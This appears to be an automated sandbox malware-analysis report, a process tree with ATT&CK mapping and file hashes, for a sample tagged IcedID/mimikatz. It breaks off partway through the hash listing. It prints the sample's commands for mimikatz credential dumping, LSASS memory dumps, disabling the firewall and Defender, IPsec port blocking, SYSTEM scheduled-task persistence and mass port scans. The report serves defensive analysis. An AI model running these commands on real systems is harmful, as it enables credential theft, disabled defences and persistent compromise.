C:\Users\Admin\AppData\Local\Temp\2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ywuiuctl\igycumm.exe
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2492
- - C:\Windows\ywuiuctl\igycumm.exe
    C:\Windows\ywuiuctl\igycumm.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2240

C:\Windows\ywuiuctl\igycumm.exe
C:\Windows\ywuiuctl\igycumm.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2976
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2860
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2448
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1812
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2704
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2180
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bpihyaqez\utzcbzbmz\wpcap.exe /S
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:284
- - C:\Windows\bpihyaqez\utzcbzbmz\wpcap.exe
    C:\Windows\bpihyaqez\utzcbzbmz\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      PID:1148
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:632
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      PID:2824
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2776
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      PID:2816
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2436
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:408
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2996
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2984
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1344
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bpihyaqez\utzcbzbmz\ivaepnbit.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\bpihyaqez\utzcbzbmz\Scant.txt
  2⤵
  - Loads dropped DLL
  PID:2544
- - C:\Windows\bpihyaqez\utzcbzbmz\ivaepnbit.exe
    C:\Windows\bpihyaqez\utzcbzbmz\ivaepnbit.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\bpihyaqez\utzcbzbmz\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bpihyaqez\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\bpihyaqez\Corporate\log.txt
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2124
- - C:\Windows\bpihyaqez\Corporate\vfshost.exe
    C:\Windows\bpihyaqez\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "imuauibue" /ru system /tr "cmd /c C:\Windows\ime\igycumm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "imuauibue" /ru system /tr "cmd /c C:\Windows\ime\igycumm.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gaggybcib" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gaggybcib" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "hgelermae" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "hgelermae" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2528
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:544
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2880
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2720
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2356
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:800
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1152
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1676
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1488
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2644
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:1792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2212
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:1840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:2944
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1632
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1092
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:2544
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1856
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1800
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:2128
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1620
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2216
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1144
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:2988
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1000
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:920
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 324 C:\Windows\TEMP\bpihyaqez\324.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 1108 C:\Windows\TEMP\bpihyaqez\1108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:544
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 1160 C:\Windows\TEMP\bpihyaqez\1160.dmp
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 2036 C:\Windows\TEMP\bpihyaqez\2036.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 864 C:\Windows\TEMP\bpihyaqez\864.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 1572 C:\Windows\TEMP\bpihyaqez\1572.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 2244 C:\Windows\TEMP\bpihyaqez\2244.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:800
- C:\Windows\TEMP\bpihyaqez\qwipishib.exe
  C:\Windows\TEMP\bpihyaqez\qwipishib.exe -accepteula -mp 2668 C:\Windows\TEMP\bpihyaqez\2668.dmp
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\bpihyaqez\utzcbzbmz\scan.bat
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1144
- - C:\Windows\bpihyaqez\utzcbzbmz\bucatzbai.exe
    bucatzbai.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2064
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3076
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:3204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2884

C:\Windows\SysWOW64\huzbeq.exe
C:\Windows\SysWOW64\huzbeq.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1656

C:\Windows\system32\taskeng.exe
taskeng.exe {D39EB219-1348-4C2F-99A8-9016B156B3D4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1280
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F
  2⤵
  PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2652
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F
    3⤵
    PID:2776
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F
  2⤵
  PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1756
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F
    3⤵
    PID:2760
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\igycumm.exe
  2⤵
  PID:580
- - C:\Windows\ime\igycumm.exe
    C:\Windows\ime\igycumm.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:1900
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F
  2⤵
  PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2144
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\ywuiuctl\igycumm.exe /p everyone:F
    3⤵
    PID:2744
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F
  2⤵
  PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3724
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\bestlepbb\hcefiu.exe /p everyone:F
    3⤵
    PID:3120
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\igycumm.exe
  2⤵
  PID:4020
- - C:\Windows\ime\igycumm.exe
    C:\Windows\ime\igycumm.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bestlepbb\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\bpihyaqez\1108.dmp

Filesize
1.4MB

MD5
9bbf13dd8ecc80ae1c1c5303be7c66e2

SHA1
586c31fe63142422b9c316471a39b24f016afec3

SHA256
868b4c7930fb01f68b08397ac76b33d5f0d82bc7041fe016ab75930b0de4ebf2

SHA512
eeffd140a697fa5e0f27d5870d2cb1f0dabfdca96706a8a2b9271ef50599514f10c66be43bf7907921ba639d2ccc129c7d4ebfd1179bdc5294d539b4964e64fd

Download Submit
C:\Windows\TEMP\bpihyaqez\1160.dmp

Filesize
1.3MB

MD5
1fd646002106952c616a69422363f3b1

SHA1
a038d62953bdde4c09ca56c5cc50421112ed4386

SHA256
d8852651dcadd1555d6c3d1b363bc506bea78c42b4d0e8fed5adc67485197033

SHA512
b12f07fd86d477549b994df058e5dfbe5b294836d446504e8be2d9ef310882cc84682031b530ba0e04cd8d5452db3714b4697973f6506820f9d49e8c908c2ecd

Download Submit
C:\Windows\TEMP\bpihyaqez\1572.dmp

Filesize
2.1MB

MD5
585c264cddc6b8e7fd52ee8bafbc2824

SHA1
5bf2de54e6902414fac2db10265595931705feea

SHA256
722c9669ba976e19bdbde03069cf8f3602d5cdc73e2da94140deb1fb4a526b71

SHA512
ec8d4b34e039a99ad72496b64c07bb9b9e0ec9ed5198fb0a16245d8fb61d217fa387c6850375f264639885567c5a1d937b52c283a3e5e5f2e755aa2ff685b002

Download Submit
C:\Windows\TEMP\bpihyaqez\2036.dmp

Filesize
5.2MB

MD5
878b36834f882089317c249966d1c7af

SHA1
434f481e3e512d37f0390083c0aecdc837a6017e

SHA256
abab351d5ec14e9e272832353f12532914c32c91dd1a60986eafcef913e8d0e9

SHA512
c4ea479e1cdbcc03d85e38e2a1b66ec6b17f61b038efa9feeb3f8dfa829190f159bf9382a027b06cfbf344222a9cfeab1b0977b7d68026f7a9e1a577fab60a35

Download Submit
C:\Windows\TEMP\bpihyaqez\2244.dmp

Filesize
7.2MB

MD5
29367d79abc9ff084285b74e38052c49

SHA1
2af739e7231f303b8b0106ded6460d9ce2f1df50

SHA256
6824c59e10b0dc04f7c83c7beda6a768a28222df39baf919b0ae545aa6a530a4

SHA512
efd84126cecf86f807ae4803b629feb790bed69624ebb46a581b7ae566902990c3c75c6f70adca9a19bb9510fc8b329d9fa7c9bfaea9ce627078e343649299ed

Download Submit
C:\Windows\TEMP\bpihyaqez\2668.dmp

Filesize
855KB

MD5
fdc78a655c1aa681205f22839f2a8384

SHA1
d63b1b13b7703411170e605a0f568675d7fc5b81

SHA256
f111f5924e930f31b67acd92b22c3580a9090b92176d0c580a74db32528872ba

SHA512
484970232610fcaaf48433370c3c0267617ad0f200bd965dc4da9611deec5a8afbc35a4596ef7242f289c5e687c4c892fc407a814904aa44e6b4931af10a18c0

Download Submit
C:\Windows\TEMP\bpihyaqez\324.dmp

Filesize
4.8MB

MD5
e7b436d8dbf45fcf38f7cdef30d769ba

SHA1
d477039414cd82aec4498cbc316302302f60ee51

SHA256
e029f65899f392c27e098867cbf9eb185a8ef13ecf10aca970152a077c45ab00

SHA512
dca267119f842e5dc53b2798ea8bdddc94525b111c1c9ab50178951fbf270b2424149c14c6681eedb3d7067e12ed4b3e36aa47fb29977d626c0ac71ea98ec6ec

Download Submit
C:\Windows\TEMP\bpihyaqez\864.dmp

Filesize
3.9MB

MD5
bd03885699d831966e9802e11663a1f4

SHA1
19f8a85a109b77f152507ae6bceaec3b3f5d28e1

SHA256
c7c145d01d96b614fd481ca310fb684bb4cbd560c262a3a5a21d61e87e12b7d7

SHA512
7197895739417dcd8ba0d378aaa757123f8eea41e919510da04ccb92cab98c84b1b4c8dbe99ad565bc675581fb18d44b987f52e023e4cbf2d331257dbaab00c4

Download Submit
C:\Windows\Temp\bestlepbb\hcefiu.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
